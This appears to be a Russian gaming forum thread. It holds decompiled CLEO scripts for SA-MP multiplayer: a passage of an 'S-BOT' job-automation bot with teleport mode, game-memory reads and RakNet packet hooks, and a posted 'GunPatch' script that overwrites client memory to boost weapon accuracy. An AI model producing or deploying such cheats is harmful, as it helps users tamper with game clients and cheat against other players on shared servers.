0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1475.187 -1334.638 radius 2.0 2.0 on_foot
004D: jump_if_false @Label0013E1
0006: 16@ = 0
00D6: if
0039:   16@ == 5
004D: jump_if_false @Label0014FF
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label001479
004D: jump_if_false @Label001496
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0014AF
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1475.072 -1340.625 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1475.072 -1340.625 radius 2.0 2.0 on_foot
004D: jump_if_false @Label001479
0006: 16@ = 0
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0014FF
004D: jump_if_false @Label00151C
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label001535
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 1474.117 -1350.768 113.1303 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.117 -1350.768 radius 3.0 3.0 on_foot
004D: jump_if_false @Label0014FF
0006: 32@ = 0
0085: 33@ = 32@ // (int)
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
0001: wait 200 ms
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0015DC
004D: jump_if_false @Label0015F9
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label001612
0002: jump @Label001AA9
05D3: AS_actor $PLAYER_ACTOR goto_point 0@ 1@ 2@ mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 0@ 1@ radius 0.5 0.5 on_foot
004D: jump_if_false @Label0015DC
00D6: if
0039:   15@ == 3
004D: jump_if_false @Label00166A
0002: jump @Label0017B7
0001: wait 200 ms
0002: jump @Label001AF9
0001: wait 100 ms
0006: 32@ = 0
0085: 33@ = 32@ // (int)
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
00D6: if and
8021:   not  0@ > 1468.0
0031:   1@ >= -1337.0
004D: jump_if_false @Label0016FC
0007: 0@ = 1468.0
00D6: if and
8021:   not  0@ > 1473.0
0031:   0@ >= 1472.0
8021:   not  1@ > -1342.0
0031:   1@ >= -1345.0
004D: jump_if_false @Label001739
0007: 0@ = 1472.6
0B21:     samp is_chat_opened
004D: jump_if_false @Label00174D
0001: wait 100 ms
0002: jump @Label001739
00D6: if
0039:   31@ == 1
004D: jump_if_false @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label001778
0002: jump @Label001AA9
00A1: put_actor $PLAYER_ACTOR at 0@ 1@ 111.6
00D6: if
0039:   15@ == 3
004D: jump_if_false @Label0017A1
0002: jump @Label0017B7
00D6: if
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label001676

:Label0017A1
0002: jump @Label000312
0001: wait 100 ms
0006: 15@ = 0
0001: wait 100 ms

:Label0017B7
00D6: if
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1474.379 -1360.721 radius 2.0 2.0 on_foot
004D: jump_if_false @Label0017C2
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0017EC
004D: jump_if_false @Label001809
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label001822
0002: jump @Label001AA9
00D6: if
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label001875

:Label001822
0AC8: 14@ = allocate_memory_size 96
0BD7: samp get_dialog_text 14@
00D6: if
0C18: 19@ = strstr string1 14@ string2 "одиночн"
004D: jump_if_false @Label00186C
0AC9: free_allocated_memory 14@
0002: jump @Label00199A
0002: jump @Label001875
0AC9: free_allocated_memory 14@
0B47: samp close_current_dialog_with_button 0
05D3: AS_actor $PLAYER_ACTOR goto_point 1472.173 -1366.373 11.8828 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1472.173 -1366.373 radius 2.0 2.0 on_foot
004D: jump_if_false @Label0017EC
0001: wait 0 ms
00D6: if
0039:   31@ == 0

:Label0018BE
004D: jump_if_false @Label0018DB
0002: jump @Label001AF9
00D6: if
0039:   15@ == 5
004D: jump_if_false @Label0018F4
0002: jump @Label001AA9
00D6: if
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label00194C

:Label0018F4
0AC8: 14@ = allocate_memory_size 96
0BD7: samp get_dialog_text 14@
00D6: if
0C18: 19@ = strstr string1 14@ string2 "одиночн"
004D: jump_if_false @Label00193E
0AC9: free_allocated_memory 14@
0002: jump @Label00199A
0002: jump @Label00194C
0AC9: free_allocated_memory 14@
0001: wait 500 ms
0B47: samp close_current_dialog_with_button 0
05D3: AS_actor $PLAYER_ACTOR goto_point 1475.801 -1360.516 11.8828 mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 1475.801 -1360.516 radius 0.5 0.5 on_foot
004D: jump_if_false @Label0018BE
0001: wait 500 ms
0001: wait 0 ms
00D6: if
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label0017C2
0AC8: 14@ = allocate_memory_size 96
0BD7: samp get_dialog_text 14@
00D6: if
0C18: 19@ = strstr string1 14@ string2 "одиночн"
004D: jump_if_false @Label0019E1
0AC9: free_allocated_memory 14@
0002: jump @Label0019F1
0AC9: free_allocated_memory 14@
0B47: samp close_current_dialog_with_button 0
0002: jump @Label0017C2
0B47: samp close_current_dialog_with_button 1
0001: wait 3000 ms
0006: 32@ = 0
0085: 33@ = 32@ // (int)
0012: 33@ *= 56
000A: 33@ += 13103448
000A: 33@ += 16
0A8D: 0@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 1@ = read_memory 33@ size 4 virtual_protect 0
000A: 33@ += 4
0A8D: 2@ = read_memory 33@ size 4 virtual_protect 0
0001: wait 0 ms
05D3: AS_actor $PLAYER_ACTOR goto_point 0@ 1@ 2@ mode 7 time -1 ms // versionA
0B56: set_game_key 1 state -128
0B56: set_game_key 16 state 255
02EB: restore_camera_with_jumpcut
00ED:   actor $PLAYER_ACTOR sphere 0 near_point 0@ 1@ radius 0.5 0.5 on_foot
004D: jump_if_false @Label001A53
0006: 17@ = 0
0001: wait 500 ms
0002: jump @Label000312
0001: wait 0 ms
0006: 31@ = 0
00A0: store_actor $PLAYER_ACTOR position_to 4@ 5@ 6@
05D3: AS_actor $PLAYER_ACTOR goto_point 4@ 5@ 6@ mode 7 time -1 ms // versionA
0AAD: set_mp3 29@ perform_action 1
0001: wait 5000 ms
0AAD: set_mp3 29@ perform_action 0
0001: wait 100 ms
0A92: create_custom_thread "sbot.cs" 
0A93: end_custom_thread
0001: wait 0 ms
00A0: store_actor $PLAYER_ACTOR position_to 4@ 5@ 6@
05D3: AS_actor $PLAYER_ACTOR goto_point 4@ 5@ 6@ mode 7 time -1 ms // versionA
0002: jump @Label000312
0B35: samp 25@ = get_last_command_params
0AD4: 25@ = scan_string 25@ format "%d" 18@ 
00D6: if
0029:   18@ >= 1
004D: jump_if_false @Label001B5A
000E: 18@ -= 1
0085: 17@ = 18@ // (int)
00D6: if
0039:   31@ == 0
004D: jump_if_false @Label001C83
00D6: if
0B4C:  samp is_dialog_active -1
004D: jump_if_false @Label001C3B
0AC8: 14@ = allocate_memory_size 96
0BD8: samp get_dialog_caption 14@
00D6: if
0C18: 19@ = strstr string1 14@ string2 "Материалы"
004D: jump_if_false @Label001BF3
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Скрипт запущен" color 16777215 
0006: 15@ = 0
0006: 31@ = 1
0330: set_player $PLAYER_CHAR infinite_run 1
0002: jump @Label001C34
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Возьмите диалог с материалами" color 16777215 
0002: jump @Label001C7C
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Возьмите диалог с материалами" color 16777215 
0002: jump @Label001CD9
0006: 31@ = 0
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Скрипт остановлен" color 16777215 
0330: set_player $PLAYER_CHAR infinite_run 0
0001: wait 500 ms
0A92: create_custom_thread "sbot.cs" 
0A93: end_custom_thread
0B43: samp cmd_ret
0B35: samp 25@ = get_last_command_params
0AD4: 25@ = scan_string 25@ format "%d" 26@ 
00D6: if
0039:   26@ == 1
004D: jump_if_false @Label001D44
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Включен режим телепорта" color 16777215 
0002: jump @Label001D81
0AF8: samp add_message_to_chat "{269BD8}[S-BOT]: {ffffff} Включен режим бега" color 16777215 
0006: 26@ = 0
0B43: samp cmd_ret
0BE5: raknet 11@ = get_hook_param 0
0BE5: raknet 12@ = get_hook_param 1
00D6: if and
0039:   31@ == 1
0039:   12@ == 93
004D: jump_if_false @Label001ECE
0BE7: raknet 13@ = bit_stream_read 11@ type 3
0BE7: raknet 9@ = bit_stream_read 11@ type 3
0AB1: call_scm_func @Label001ED2 2 257 1 10@ 
0BE8: raknet bit_stream 11@ read_array 10@ size 9@
00D6: if
0C18: 19@ = strstr string1 10@ string2 "отправляйтесь к метке"
004D: jump_if_false @Label001E13
0006: 15@ = 1
0002: jump @Label001ECE
00D6: if
0C18: 19@ = strstr string1 10@ string2 "Вы выполнили всю работу"
004D: jump_if_false @Label001E4D
0006: 15@ = 3
0002: jump @Label001ECE
00D6: if
0C18: 19@ = strstr string1 10@ string2 "Данный процесс уже завершен"
004D: jump_if_false @Label001ECE
0006: 15@ = 2
00D6: if
0029:   17@ >= 7
004D: jump_if_false @Label001EA4
0006: 17@ = 0
0002: jump @Label001EAB
000A: 17@ += 1
0002: jump @Label001ECE
00D6: if
0039:   13@ == -6732289
004D: jump_if_false @Label001ECE
0006: 15@ = 5
0BE0: raknet hook_ret 1
005A: 0@ += 1@ // (int)
0AC8: 2@ = allocate_memory_size 0@
0C11: memset destination 2@ value 0 size 0@
0AB2: ret 1 2@
0007: 12@ = 9999.0
0006: 0@ = 0
0085: 1@ = 0@ // (int)
0012: 1@ *= 56
000A: 1@ += 13103448
000A: 1@ += 16
0A8D: 2@ = read_memory 1@ size 4 virtual_protect 0
000A: 1@ += 4
0A8D: 3@ = read_memory 1@ size 4 virtual_protect 0
000A: 1@ += 4
0A8D: 4@ = read_memory 1@ size 4 virtual_protect 0
0AB2: ret 3 2@ 3@ 4@
0006: 1@ = -1
0039:   1@ == -1
004D: jump_if_false @Label001F8D
0001: wait 0 ms
0C66: 1@ = get_download 0@ state
0002: jump @Label001F6C
0AB2: ret 1 1@
 

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Код открыт.
CLEO:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP
0001: wait 3000 ms

:Label000007
0001: wait 400 ms
0AFA:  is_samp_available
004D: jump_if_false @Label000007
0B2E: 3@ = read_samp_memory offset 76192 size 2
0B2E: 4@ = read_samp_memory offset 22112 size 1
0B2E: 5@ = read_samp_memory offset 23792 size 3
0B2E: 6@ = read_samp_memory offset 85536 size 2
0B2E: 7@ = read_samp_memory offset 79584 size 2
0B2E: 8@ = read_samp_memory offset 87024 size 2
0006: 0@ = 1
0006: 2@ = 0
0001: wait 0 ms
0B34: samp register_client_command "gunpatch" to_label @Label0000BD
0002: jump @Label000149

:Label000083
0001: wait 0 ms
0470: 1@ = actor $PLAYER_ACTOR current_weapon
02E2: set_actor 1@ weapon_accuracy_to 1000

:Label000097
0001: wait 0 ms
0470: 9@ = actor $PLAYER_ACTOR current_weapon
00D6: if
003B:   9@ == 1@ // (int)
004D: jump_if_false @Label000083
0002: jump @Label000097

:Label0000BD
0001: wait 0 ms
00D6: if
0039:   0@ == 1
004D: jump_if_false @Label000149
0006: 0@ = 0
0AF8: samp add_message_to_chat "[GunPatch]: Патч выключен." color 56576 
0B2D: write_samp_memory offset 76192 value 3@ size 2
0B2D: write_samp_memory offset 22112 value 4@ size 1
0B2D: write_samp_memory offset 23792 value 5@ size 3
0B2D: write_samp_memory offset 85536 value 6@ size 2
0B2D: write_samp_memory offset 79584 value 7@ size 2
0B2D: write_samp_memory offset 87024 value 8@ size 2
0002: jump @Label000083

:Label000149
0001: wait 0 ms
0006: 0@ = 1
0AF8: samp add_message_to_chat "[GunPatch]: Патч включен." color 56576 
0B2D: write_samp_memory offset 76192 value 50064 size 2
0B2D: write_samp_memory offset 22112 value 195 size 1
0B2D: write_samp_memory offset 23792 value 12718080 size 3
0B2D: write_samp_memory offset 85536 value 50064 size 2
0B2D: write_samp_memory offset 79584 value 50064 size 2
0B2D: write_samp_memory offset 87024 value 50064 size 2
0002: jump @Label000083
 
  • Нравится
Реакции: checkdasound

™ ChipFamily

По ту сторону надежды.
5,144
1,981
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.